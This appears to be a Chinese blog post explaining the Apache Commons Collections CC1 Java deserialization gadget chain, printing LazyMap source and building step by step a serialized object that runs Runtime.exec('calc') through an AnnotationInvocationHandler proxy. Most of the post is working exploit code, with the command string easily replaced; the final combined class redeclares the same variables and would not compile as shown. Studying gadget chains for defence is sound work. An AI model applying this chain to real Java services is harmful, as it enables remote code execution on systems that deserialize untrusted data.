cc1拓展(正版链)

LazyMap

第一步

lazymap源代码

        public class LazyMap
            extends AbstractMapDecorator
            implements Map, Serializable {

        
        private static final long serialVersionUID = 7990956402564206740L;

       
        protected final Transformer factory;

        
        public static Map decorate(Map map, Factory factory) {
            return new org.apache.commons.collections.map.LazyMap(map, factory);
        }

        public static Map decorate(Map map, Transformer factory) {
            return new org.apache.commons.collections.map.LazyMap(map, factory);
        }

       
        protected LazyMap(Map map, Factory factory) {
            super(map);
            if (factory == null) {
                throw new IllegalArgumentException("Factory must not be null");
            }
            this.factory = FactoryTransformer.getInstance(factory);
        }

       
        protected LazyMap(Map map, Transformer factory) {
            super(map);
            if (factory == null) {
                throw new IllegalArgumentException("Factory must not be null");
            }
            this.factory = factory;
        }

       
      
        private void writeObject(ObjectOutputStream out) throws IOException {
            out.defaultWriteObject();
            out.writeObject(map);
        }

       
        private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
            in.defaultReadObject();
            map = (Map) in.readObject();
        }

        
        public Object get(Object key) {
           
            if (map.containsKey(key) == false) {
                Object value = factory.transform(key);
                map.put(key, value);
                return value;
            }
            return map.get(key);
        }

        
    }

我们来测试一下

  Transformer[] transformers = {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    Runtime r = Runtime.getRuntime();
    Class lazyclass = LazyMap.class;
    HashMap<Object, Object> hashMap = new HashMap<>();
    Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
    Method lazyGetMethod = lazyclass.getDeclaredMethod("get", Object.class);
    lazyGetMethod.setAccessible(true);
    lazyGetMethod.invoke(decorateMap, r);

第二步

寻找能够调用readobject里的get函数:package sun.reflect.annotation;

annotation部分源码

  public Object invoke(Object proxy, Method method, Object[] args) {
    String member = method.getName();
    Class<?>[] paramTypes = method.getParameterTypes();

    // Handle Object and Annotation methods
    if (member.equals("equals") && paramTypes.length == 1 &&
        paramTypes[0] == Object.class)
        return equalsImpl(args[0]);
    if (paramTypes.length != 0)
        throw new AssertionError("Too many parameters for an annotation method");

    switch(member) {
    case "toString":
        return toStringImpl();
    case "hashCode":
        return hashCodeImpl();
    case "annotationType":
        return type;
    }

    // Handle annotation member accessors
    Object result = memberValues.get(member);

    if (result == null)
        throw new IncompleteAnnotationException(type, member);

    if (result instanceof ExceptionProxy)
        throw ((ExceptionProxy) result).generateException();

    if (result.getClass().isArray() && Array.getLength(result) != 0)
        result = cloneArray(result);

    return result;
}

若要调用里面的invoke可以使用proxy代理

    Transformer[] transformers = {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
    };
    HashMap<Object, Object> hashMap = new HashMap<>();
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);

上面这部分没有修改就是常规的

构造一个代理器

 Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor annotationInvocationHandler = c.getDeclaredConstructor(Class.class, Map.class);
    annotationInvocationHandler.setAccessible(true);
    InvocationHandler h = (InvocationHandler) annotationInvocationHandler.newInstance(Override.class,decorateMap);

InvocationHandler把要代理的参数写的明明白白,当调用这个代理器的时候就可以直接触发参数相关的函数了

然后生成代理实例

Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);

然后将代理实例放入annotationInvocationHandler.newInstance这样就能够调用invoke

 Object o = annotationInvocationHandler.newInstance(Override.class,mapProxy);

最后就序列化反序列化就成功了

最后代码

 Transformer[] transformers = {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
    };
    HashMap<Object, Object> hashMap = new HashMap<>();
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);

    Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor annotationInvocationHandler = c.getDeclaredConstructor(Class.class, Map.class);
    annotationInvocationHandler.setAccessible(true);
    InvocationHandler h = (InvocationHandler) annotationInvocationHandler.newInstance(Override.class,decorateMap);
    Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);
    Object o = annotationInvocationHandler.newInstance(Override.class,mapProxy);
    serialize(o);
    unserialize("ser.bin");

全部代码

public class cc6 {
public static void main(String[] args) throws Exception {
    Transformer[] transformers = {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    Runtime r = Runtime.getRuntime();
    Class lazyclass = LazyMap.class;
    HashMap<Object, Object> hashMap = new HashMap<>();
    Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
    Method lazyGetMethod = lazyclass.getDeclaredMethod("get", Object.class);
    lazyGetMethod.setAccessible(true);
    lazyGetMethod.invoke(decorateMap, r);//第一步


    Transformer[] transformers = {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
    };
    HashMap<Object, Object> hashMap = new HashMap<>();
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);

    Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor annotationInvocationHandler = c.getDeclaredConstructor(Class.class, Map.class);
    annotationInvocationHandler.setAccessible(true);
    InvocationHandler h = (InvocationHandler) annotationInvocationHandler.newInstance(Override.class,decorateMap);
    Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);
    Object o = annotationInvocationHandler.newInstance(Override.class,mapProxy);
    serialize(o);
    unserialize("ser.bin");//第二步


}


public static void serialize(Object obj) throws IOException {
    ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
    oos.writeObject(obj);

}

public static Object unserialize(String fileName) throws IOException, ClassNotFoundException {
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
    Object obj = ois.readObject();
    ois.close();
    return obj;
}
posted @ 2024-07-19 04:37  毛利_小五郎  阅读(4)  评论(0编辑  收藏  举报